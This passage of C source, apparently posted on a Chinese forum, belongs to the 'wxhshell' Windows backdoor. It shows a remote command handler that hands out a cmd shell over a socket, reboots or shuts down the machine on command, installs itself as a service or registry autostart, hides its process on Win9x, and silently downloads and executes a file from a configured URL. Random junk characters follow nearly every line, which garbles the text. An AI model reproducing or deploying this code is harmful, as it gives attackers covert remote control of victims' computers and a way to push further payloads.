  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D4o?  
  } Aoa0czC~  
  else { DlIfr6F  
Pu axS  
    switch(cmd[0]) { T<!`~#kM  
  )(DV~1r=  
  // 帮助 p}(w"?2  
  case '?': { vBM\W%T|d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?0_i{BvN  
    break; tbOe,-U-@  
  } ( !Ml2  
  // 安装 \vm'D'9  
  case 'i': { c#{<| .  
    if(Install()) F1%' zsv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7g&_`(  
    else OQ[>s(`*{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (<%i8xu 2  
    break; SAo"+%  
    } Y{p *$  
  // 卸载 AA05wpu8  
  case 'r': { \uanQ|Nu  
    if(Uninstall()) F7"Ihb^l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "aa6W  
    else J`"1DlH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dYr#  
    break; lfI[r|  
    } "_q5\]z\O  
  // 显示 wxhshell 所在路径 c[",WB<9  
  case 'p': { cUy6/x9&  
    char svExeFile[MAX_PATH]; Yn I   
    strcpy(svExeFile,"\n\r"); da[l[b;  
      strcat(svExeFile,ExeFile); sDbALAp +  
        send(wsh,svExeFile,strlen(svExeFile),0); _0vXujz  
    break; Wa[~)A  
    } I [e7Up  
  // 重启 EkTen:{G  
  case 'b': { ~CM{?{z;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f-{[ushj  
    if(Boot(REBOOT)) I=3q#^}[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 1p\ z  
    else { Y%&6qt G  
    closesocket(wsh); XriVHb  
    ExitThread(0); F48`1+  
    } p.l]% \QI  
    break; !J:DBtGT  
    } OEAF.  
  // 关机 ]j{S' cz  
  case 'd': { 5T8!5EcS*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DF&C7+hO  
    if(Boot(SHUTDOWN)) 01w=;Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ec]ksw6T+  
    else { - z|idy{  
    closesocket(wsh); H=yD}!j  
    ExitThread(0); 7q67_u? @  
    } t*D[Q$v  
    break; &.4lhfI+(Q  
    } (bT\HW%m  
  // 获取shell L>@6lhD)x  
  case 's': { 3\'.1p  
    CmdShell(wsh); q2hZ1o  
    closesocket(wsh); x b_C1n  
    ExitThread(0); 4&$G;?#W2  
    break; b1 KiO2 E  
  } }wv$ #H[  
  // 退出 >?$Ze@  
  case 'x': { @u$oqjK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <B`=oO%o  
    CloseIt(wsh); n%?g+@y,^  
    break; _nTjCN625  
    } H%sQVE7m  
  // 离开 ^lQ-w|7(  
  case 'q': { liU=5 BL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MRJdQCBV  
    closesocket(wsh);  vb70~k  
    WSACleanup(); |"@E"Za^  
    exit(1); ;yUY|o  
    break; <`N\FM^vo  
        } @:c 1+  
  } I H:Hf v  
  } AN.`tv  
^SjGNg^ 7D  
  // 提示信息 [M;P:@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ot,sMRk'  
} riBT5  
  } Y.hrU*[J0  
cAiIbh>c  
  return; bMv9f J  
} L4[ bm[x  
`9wz:s QtP  
// shell模块句柄 MWB uMF  
int CmdShell(SOCKET sock) }$UuYO/i  
{ <4! w2vxG  
STARTUPINFO si; @FbzKHdV/  
ZeroMemory(&si,sizeof(si)); ]T*{M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ _i`=dx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kt^PL&A2  
PROCESS_INFORMATION ProcessInfo; M!I:$DZt  
char cmdline[]="cmd"; ->j9(76"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lv_6Mf(  
  return 0; 8XY4  
} Aa1 |{^$:L  
x/4lD}Pw]  
// 自身启动模式 %d?%^) u,  
int StartFromService(void) {?j|]j  
{ F\]rxl4(L  
typedef struct ;nC+K z:  
{ I{RktO;1  
  DWORD ExitStatus; fB:M'A'  
  DWORD PebBaseAddress; p(U'Ydl~  
  DWORD AffinityMask; n&Al~-Q:^  
  DWORD BasePriority; kKjYMYT6  
  ULONG UniqueProcessId; 3Ys|M%N  
  ULONG InheritedFromUniqueProcessId; f5yd2wKy6  
}   PROCESS_BASIC_INFORMATION; FF/MTd}6qG  
^QnVYTM  
PROCNTQSIP NtQueryInformationProcess; +0=RC^   
*PMql$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `b] NB^/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oF*Y$OEu?c  
fqr}tvMr=T  
  HANDLE             hProcess; cw^FOV*  
  PROCESS_BASIC_INFORMATION pbi; 0<s)xaN>Y  
[t6)M~&e:_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v:vA=R2  
  if(NULL == hInst ) return 0; :}GxJT4  
f9&D1Gh+w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^Krkf4fO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pa\]@;P1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pr m  
^L'K?o  
  if (!NtQueryInformationProcess) return 0; [UI bO@e  
'/"(`f,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {bNnhW*qOu  
  if(!hProcess) return 0; 9j,zaGD0  
7"QcvV@p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4+W}TKw  
V3`*LU  
  CloseHandle(hProcess); B"EMir'  
`n%~#TJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~M\s!!t3  
if(hProcess==NULL) return 0; Ti'O 2k  
ck@[% ?  
HMODULE hMod; oOD|FrlY  
char procName[255]; *%fOE;-?  
unsigned long cbNeeded; m83i6"!H  
=_UPZ]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )0%<ZVB  
("TI~  
  CloseHandle(hProcess); |FNP~5v  
kB8l`| I  
if(strstr(procName,"services")) return 1; // 以服务启动 $]T7Iwk  
|fJ,+)_(  
  return 0; // 注册表启动 ?(|!VLu  
} r*3;gyG.,#  
m.$Oo Mu'  
// 主模块 {-E{.7  
int StartWxhshell(LPSTR lpCmdLine) \(z)]D  
{ 4s"HO/  
  SOCKET wsl; O-G@To3\  
BOOL val=TRUE; iA< EJ  
  int port=0; 97BL%_^k  
  struct sockaddr_in door; SEuj=Vie#  
O/<jt'  
  if(wscfg.ws_autoins) Install(); V]<dh|x  
lS,Hr3Lz  
port=atoi(lpCmdLine); =uvv|@Z  
J L Z  
if(port<=0) port=wscfg.ws_port; ! [:K/  
 /!9949XV  
  WSADATA data; t=pG6U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #uH1!UQb  
i@p?.%K{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hyBSS,I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;w+A38N$J  
  door.sin_family = AF_INET; ;WzT"yW)T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j`#|z9`(pB  
  door.sin_port = htons(port); H ,?MG  
: i(h[0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :Ert57@l  
closesocket(wsl); ~f@;.  
return 1; ']dTW#i  
} )Q\;N C=4  
zJV4)  
  if(listen(wsl,2) == INVALID_SOCKET) { ~<$8i}7  
closesocket(wsl); G)putk@   
return 1; B]hZ4.B1  
} '6aH*B:}*;  
  Wxhshell(wsl); 8^~ljf]6  
  WSACleanup(); l >O]Cpt  
ybB}|4d&   
return 0; Z>{8FzP.F  
cg$~.ytPK  
} C {'c_wX  
!^N/n5eoz  
// 以NT服务方式启动 !#X^nlc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6^wiEnA  
{ ~{N|("nB  
DWORD   status = 0; 7i'vAOnw^  
  DWORD   specificError = 0xfffffff; lE`ScYG  
&,#VhT![  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P "%/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y<|L|b6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9sRP8Nj|  
  serviceStatus.dwWin32ExitCode     = 0; ?,Hk]Rl3  
  serviceStatus.dwServiceSpecificExitCode = 0; 8!T^KMfz  
  serviceStatus.dwCheckPoint       = 0; UIyOn` d"  
  serviceStatus.dwWaitHint       = 0; |M0TG  
c#rbyx?5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7IvCMb&%R  
  if (hServiceStatusHandle==0) return; 6qw_|A&g  
[Y:HVr,  
status = GetLastError(); - -]\z*x  
  if (status!=NO_ERROR) ~#-`Qh  
{ 5}By2Tx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K@d`jb4T  
    serviceStatus.dwCheckPoint       = 0; ElYHA  
    serviceStatus.dwWaitHint       = 0; fG.w;Aemv5  
    serviceStatus.dwWin32ExitCode     = status; (_W[~df4  
    serviceStatus.dwServiceSpecificExitCode = specificError; AUN Tc3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p@^2 .O+  
    return; 7'<4'BGzl]  
  } WpvH} l r}  
X!"y>J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :q= XE$%H  
  serviceStatus.dwCheckPoint       = 0; 9\"~G)  
  serviceStatus.dwWaitHint       = 0; 6 HEl1FK{@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;or> Sh7  
} f.u{;W  
,%:`Ll t]$  
// 处理NT服务事件,比如:启动、停止 -Pvt+I>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @emZwN"m  
{ uD5i5,q1Hs  
switch(fdwControl) , <[os  
{ #VrT)po+  
case SERVICE_CONTROL_STOP: %ZxKN;  
  serviceStatus.dwWin32ExitCode = 0; pjoI};  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1k hwwoo  
  serviceStatus.dwCheckPoint   = 0; _\1(7?0D  
  serviceStatus.dwWaitHint     = 0; +6>Pp[%  
  { 1E-$f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |W::\yu6  
  } 2L\h+)  
  return; {vU '>pp  
case SERVICE_CONTROL_PAUSE: "5e]-u'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YvU#)M_h  
  break; Oq.) 8E.  
case SERVICE_CONTROL_CONTINUE: E+>;tLw3j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C= Zuy^  
  break; Nd0Wt4=  
case SERVICE_CONTROL_INTERROGATE: weDv[b5i  
  break; \Z~m6;  
}; 5<S1,u5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6jnRC*!?  
} -~xd-9v?  
R0+m7mx#E  
// 标准应用程序主函数 !7w-?1?D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H11Wb(6Wu  
{ !K@y B)9  
^8\pJg_0  
// 获取操作系统版本 G(4k#jB  
OsIsNt=GetOsVer(); N7e^XUG   
GetModuleFileName(NULL,ExeFile,MAX_PATH); LD5'4,%-  
<.AIV p  
  // 从命令行安装 Zdak))7  
  if(strpbrk(lpCmdLine,"iI")) Install(); d#W[<,  
!P;qc  
  // 下载执行文件 hVID~L$  
if(wscfg.ws_downexe) { 5-g02g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `ybZE+S.  
  WinExec(wscfg.ws_filenam,SW_HIDE); iUO5hdOM  
} <>R7G)w F  
kxO$Uk&TX  
if(!OsIsNt) { :Rq D0>1  
// 如果时win9x,隐藏进程并且设置为注册表启动 *[jaI-~S  
HideProc(); m]%cNxS  
StartWxhshell(lpCmdLine); :1s1wY3Y  
} /)G9w]|T  
else 1H ZexV  
  if(StartFromService()) j@:L MR>  
  // 以服务方式启动 4SOj>(a#  
  StartServiceCtrlDispatcher(DispatchTable); $~j]/U  
else [IYs4Y5  
  // 普通方式启动 HsXFglQ  
  StartWxhshell(lpCmdLine); ''(T3;^ +  
0 Hq$h  
return 0; 9 (&!>z  
}
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只看该作者 1 发表于: 2006-10-10
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